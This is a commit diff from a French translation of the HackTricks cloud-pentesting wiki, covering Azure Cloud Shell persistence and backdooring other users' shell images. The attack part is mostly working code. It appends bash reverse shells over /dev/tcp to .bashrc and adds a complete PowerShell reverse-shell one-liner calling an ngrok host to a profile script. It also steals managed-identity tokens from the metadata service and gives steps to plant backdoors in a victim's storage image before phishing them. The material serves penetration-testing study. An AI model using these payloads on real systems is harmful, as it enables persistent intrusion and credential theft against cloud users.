mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -4,14 +4,14 @@
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell offre un accès en ligne de commande pour gérer les ressources Azure avec un stockage persistant et une authentification automatique. Les attaquants peuvent en profiter en plaçant des portes dérobées dans le répertoire personnel persistant :
|
||||
Azure Cloud Shell offre un accès en ligne de commande pour gérer les ressources Azure avec un stockage persistant et une authentification automatique. Les attaquants peuvent exploiter cela en plaçant des portes dérobées dans le répertoire personnel persistant :
|
||||
|
||||
* **Stockage Persistant** : Le répertoire personnel de Azure Cloud Shell est monté sur un partage de fichiers Azure et reste intact même après la fin de la session.
|
||||
* **Scripts de Démarrage** : Des fichiers comme .bashrc s'exécutent automatiquement au début de chaque session, permettant une exécution persistante lorsque le cloud shell démarre.
|
||||
* **Stockage Persistant** : Le répertoire personnel d'Azure Cloud Shell est monté sur un partage de fichiers Azure et reste intact même après la fin de la session.
|
||||
* **Scripts de Démarrage** : Des fichiers comme `.bashrc` ou `config/PowerShell/Microsoft.PowerShell_profile.ps1` s'exécutent automatiquement au début de chaque session, permettant une exécution persistante lorsque le cloud shell démarre.
|
||||
|
||||
Exemple de porte dérobée dans .bashrc :
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
Cette porte dérobée peut exécuter des commandes même 5 minutes après que le cloud shell a été terminé par l'utilisateur.
|
||||
|
||||
@@ -19,4 +19,41 @@ De plus, interrogez le service de métadonnées d'Azure pour obtenir des détail
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
### Cloud Shell Phishing
|
||||
|
||||
Si un attaquant trouve d'autres images d'utilisateurs dans un compte de stockage auquel il a accès en écriture et en lecture, il pourra télécharger l'image, **ajouter un backdoor bash et PS dedans**, et la télécharger à nouveau dans le compte de stockage afin que la prochaine fois que l'utilisateur accède au shell, **les commandes seront automatiquement exécutées**.
|
||||
|
||||
- **Télécharger, backdoor et télécharger l'image :**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
|
||||
|
||||
# Mount the image
|
||||
mkdir /tmp/backdoor_img
|
||||
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
|
||||
cd /tmp/backdoor_img
|
||||
|
||||
# Create backdoor
|
||||
mkdir .config
|
||||
mkdir .config/PowerShell
|
||||
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Unmount
|
||||
cd /tmp
|
||||
sudo umount /tmp/backdoor_img
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
|
||||
```
|
||||
- **Ensuite, hameçonner l'utilisateur pour accéder à https://shell.azure.com/**
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user